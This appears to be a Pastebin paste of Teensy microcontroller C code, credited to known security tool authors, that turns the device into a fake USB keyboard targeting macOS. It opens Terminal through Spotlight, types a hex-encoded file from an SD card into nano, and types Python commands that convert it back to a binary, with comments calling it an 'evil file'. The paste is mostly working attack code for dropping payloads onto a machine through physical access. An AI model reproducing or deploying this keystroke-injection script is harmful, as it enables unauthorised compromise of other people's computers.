Advertisement
winfang

Teensy Mac SD

Oct 17th, 2011
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.56 KB | None | 0 0
  1. /*
  2. Teensy Hex to File SDCard Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K)
  3. Reading from a SD card.  Based on code from: http://arduino.cc/en/Tutorial/DumpFile
  4. */
  5.  
  6. // This the Mac version :)  This does not execute the code, but it does copy from the SD.
  7.  
  8. #include <avr/pgmspace.h>
  9. #include <SD.h>
  10.  
  11. // Teensy ++ LED is 6.  Teensy the LED is 11.
  12. int ledPin = 6;
  13.  
  14. void setup()
  15. {
  16.   // Show that we're running
  17.   BlinkFast(2);
  18.  
  19.   // Initialize the card
  20.   // make sure that the default chip select pin is set to
  21.   // output, even if you don't use it:
  22.   pinMode(10, OUTPUT);
  23.   const int chipSelect = 20;
  24.   if (!SD.begin(chipSelect)) {
  25.     Serial.println("[!] Card failed, or not present");
  26.     // Stop and quit
  27.     return;
  28.   } else { Serial.println("[*] Card intialized"); }
  29.  
  30.   delay(5000);
  31.   CommandAtSpotlight("Terminal");
  32.   delay(7500);
  33.   // Replace file name with evil file
  34.   Keyboard.println("nano /tmp/test.txt");
  35.   delay(1000);
  36.  
  37.  
  38.   // open the file. note that only one file can be open at a time,
  39.   // so you have to close this one before opening another.
  40.   // Larger the file, more likely it wouldn't fit in a normal int var.
  41.   // This is the workaround for it.
  42.   long int filePos;
  43.   long int fileSize;
  44.   File dataFile = SD.open("converts.txt");
  45.   if (dataFile) {
  46.     fileSize = dataFile.size();
  47.     Keyboard.println("Start File");
  48.     for (filePos = 0; filePos <= fileSize; filePos++) {
  49.       //Keyboard.print(dataFile.read(),BYTE);
  50.       // Large files take a while to write out...this delay helps keep the keyboard on tract.
  51.       //delay(10);
  52.       Serial.print(dataFile.read(),BYTE);
  53.     }
  54.     dataFile.close();
  55.     Keyboard.println("End File");
  56.   }  
  57.   else {
  58.     Serial.println("error opening converts.txt");
  59.   }
  60.   // ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST!
  61.   delay(5000);
  62.   CtrlX();
  63.   delay(5000);
  64.  
  65.   // Use Python to convert file back to binary.
  66.   // Play with the delays to make everything work right.
  67.   Keyboard.println("python");
  68.   delay(1000);
  69.   Keyboard.println("import binascii");
  70.   delay(1000);
  71.   Keyboard.println("fileopen = file(\"/tmp/converts.txt\", \"rb\")");
  72.   delay(1000);
  73.   Keyboard.println("data = fileopen.read()");
  74.   delay(1000);
  75.   Keyboard.println("data = binascii.unhexlify(data)");
  76.   delay(1000);
  77.   Keyboard.println("filewrite = file(\"/tmp/theconverted.txt\", \"w\")");
  78.   delay(1000);
  79.   Keyboard.println("filewrite.write(data)");
  80.   delay(1000);
  81.   Keyboard.println("quit()");
  82. }
  83.  
  84. void loop () {}
  85.  
  86. void BlinkFast(int BlinkRate){
  87.   // Blinks the light...lets us know we're alive
  88.   int BlinkCounter=0;
  89.   for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){
  90.     digitalWrite(ledPin, HIGH);
  91.     delay(80);
  92.     digitalWrite(ledPin, LOW);
  93.     delay(80);
  94.   }
  95. }
  96.  
  97. void CtrlX(){
  98.   // Save a file within Nano
  99.   Keyboard.set_modifier(MODIFIERKEY_CTRL);
  100.   Keyboard.set_key1(KEY_X);
  101.   Keyboard.send_now();
  102.   Keyboard.set_modifier(0);
  103.   Keyboard.set_key1(0);
  104.   delay(100);
  105.   // Press Y to Save
  106.   PRES(KEY_Y);
  107.   delay(100);
  108.   // Press Enter to Accept the file name
  109.   PRES(KEY_ENTER);
  110. }
  111.  
  112. void CommandAtSpotlight(char *SomeCommand){
  113.   // Open Spotlight and find your program
  114.   Keyboard.set_modifier(MODIFIERKEY_GUI);
  115.   Keyboard.set_key1(KEY_SPACE);
  116.   Keyboard.send_now();
  117.   Keyboard.set_modifier(0);
  118.   Keyboard.set_key1(0);
  119.   Keyboard.send_now();
  120.   delay(1500);
  121.   Keyboard.print(SomeCommand);
  122.   PRES(KEY_ENTER);
  123. }
  124.  
  125. void PRES(int KeyCode){
  126.   // Press a keyboard button
  127.   Keyboard.set_key1(KeyCode);
  128.   Keyboard.send_now();
  129.   Keyboard.set_key1(0);
  130.   Keyboard.send_now();
  131. }
  132.  
  133.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement